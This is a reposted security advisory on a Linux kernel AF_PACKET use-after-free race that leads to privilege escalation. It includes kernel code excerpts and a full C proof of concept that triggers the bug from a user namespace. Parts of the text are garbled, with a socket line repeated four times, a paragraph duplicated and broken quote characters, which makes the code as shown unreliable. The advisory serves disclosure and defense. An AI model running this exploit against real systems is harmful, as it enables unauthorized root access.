Friday, April 19, 2024
Latest:

Computer Security Articles

RSS Reader for Computer Security Articles

Independent Securiteam 

SSD Advisory – Linux Kernel AF_PACKET Use After Free (packet_sock)

admin ,

Credit to Author: SSD / Ori Nimron| Date: Wed, 15 Aug 2018 05:26:28 +0000

Vulnerability Summary
UAF vulnerability in Linux Kernel’s implementation of AF_PACKET leads to privilege escalation. AF_PACKET sockets allow users to send or receive packets on the device driver level, which lets them implement their own protocol on top of the physical layer or sniffing packets including Ethernet and higher levels protocol and higher levels of the OSI model.

Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.

Affected systems
Ubuntu Desktop versions 14.04, 16.04, 17.10, and other Linux distributions with older kernel versions. The vulnerability has been resolved in the latest Linux Kernel version 4.17.11.

Vulnerability Details
A use-after-free can occur due to a race condition between fanout_add from setsockopt and bind on a AF_PACKET socket.

Although the racing condition has been fixed here: 15fe076edea787807a7cdc168df832544b58eba6#diff-39c49c27f7a70091bcf94cbad241d0eb. They failed to see a UAF could occur from the racing issue. The logic is that a packet_sock can be linked via its prot_hook member to one of the ptype_head linked list in /net/core/dev.c. Each list is a list of function callbacks the Linux stack can call when a network packet is received or sent.

The logic is that a packet_sock can be linked via its prot_hook member to one of the ptype_head linked list in /net/core/dev.c. Each list is a list of function callbacks the Linux stack can call when a network packet is received or sent, as discussed in the first advisory about AF_PACKET (https://blogs.securiteam.com/index.php/archives/3484)

C

register_prot_hook() and __unregister_prot_hook() in /net/packet/af_packet.c can both be reached via packet_do_bind() and packet_notifier() without any locks held. Which ptype_head list it is added to only depends on po->num. When a thread A unregisters it from packet_do_bind(), a second thread B can rapidly call packet_notifier() to register it again on the same list, before thread A continues with po->num = proto:

C

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
static int packet_do_bind(struct sock *sk, const char *name, int ifindex,
  __be16 proto)
{
...
if (need_rehook) {
if (po->running) {
rcu_read_unlock();
__unregister_prot_hook(sk, true);
...
po->num = proto;
po->prot_hook.type = proto;
...
if (!unlisted && (!dev || (dev->flags & IFF_UP))) {
register_prot_hook(sk);
...
 
}

which will add it into a new list. When releasing the socket in packet_release, we will release the one from the last linked list but forget that we have another one in the first original list from packet_create(), thus causing a UAF.

We can get PC control by following the same logic as in the previously mentioned SSD article.

Poc

C

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>
#include <stdarg.h>
#include <stdint.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/time.h>
#include <sys/wait.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <linux/if_ether.h>
#include <net/ethernet.h>
#include <net/if.h>
#include <linux/sockios.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdbool.h>
#include <linux/if_packet.h>
#include <pthread.h>
#include <ctype.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/msg.h>
 
bool write_file(const char* file, const char* what, ...)
{
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) – 1] = 0;
int len = strlen(buf);
 
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == –1)
return false;
if (write(fd, buf, len) != len) {
close(fd);
return false;
}
close(fd);
return true;
}
 
void setup_sandbox() {
int real_uid = getuid();
int real_gid = getgid();
 
if (unshare(CLONE_NEWUSER) != 0) {
perror(“unshare(CLONE_NEWUSER)”);
exit(EXIT_FAILURE);
}
 
if (unshare(CLONE_NEWNET) != 0) {
perror(“unshare(CLONE_NEWUSER)”);
exit(EXIT_FAILURE);
}
 
if (!write_file(“/proc/self/setgroups”, “deny”)) {
perror(“write_file(/proc/self/set_groups)”);
exit(EXIT_FAILURE);
}
if (!write_file(“/proc/self/uid_map”, “0 %d 1n”, real_uid)){
perror(“write_file(/proc/self/uid_map)”);
exit(EXIT_FAILURE);
}
if (!write_file(“/proc/self/gid_map”, “0 %d 1n”, real_gid)) {
perror(“write_file(/proc/self/gid_map)”);
exit(EXIT_FAILURE);
}
 
cpu_set_t my_set;
CPU_ZERO(&my_set);
CPU_SET(0, &my_set);
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
perror(“sched_setaffinity()”);
exit(EXIT_FAILURE);
}
 
if (system(“/sbin/ip link set dev lo up”) != 0) {
perror(“system(/sbin/ip link set dev lo up)”);
exit(EXIT_FAILURE);
}
 
printf(“[.] namespace sandbox setup successfullyn”);
}
 
void *trigger(void *unused)
{
struct ifreq ifreq;
struct sockaddr_ll addr1, addr2;
int index;
 
int fd = socket(AF_PACKET, SOCK_DGRAM, PF_PACKET);int fd = socket(AF_PACKET, SOCK_DGRAM, PF_PACKET);int fd = socket(AF_PACKET, SOCK_DGRAM, PF_PACKET);int fd = socket(AF_PACKET, SOCK_DGRAM, PF_PACKET);
 
memcpy(&ifreq.ifr_name, “lo”, 3);
ioctl(fd, SIOCSIFFLAGS, &ifreq);
 
ifreq.ifr_flags = IFF_UP;
ioctl(fd, SIOCSIFFLAGS, &ifreq);
ioctl(fd, SIOCGIFINDEX, &ifreq);
index = ifreq.ifr_ifindex;
 
addr1.sll_family = AF_PACKET;
addr1.sll_ifindex = index;
bind(fd, (struct sockaddr *)&addr1, sizeof(addr1));
 
addr2.sll_family = AF_PACKET;
bind(fd, (struct sockaddr *)&addr2, sizeof(addr2));
 
close(fd);
}
 
#define NB_T 20
int main()
{
int i;
 
setup_sandbox();
do {
pthread_t trigger_tasks[NB_T];
 
for (i = 0; i < NB_T; ++i)
pthread_create(&trigger_tasks[i], NULL, trigger, NULL);
 
for (i = 0; i < NB_T; ++i)
pthread_join(trigger_tasks[i], NULL);
 
} while (1);
 
return 0;
}

Crash info

Print Friendly, PDF & Email

https://blogs.securiteam.com/index.php/feed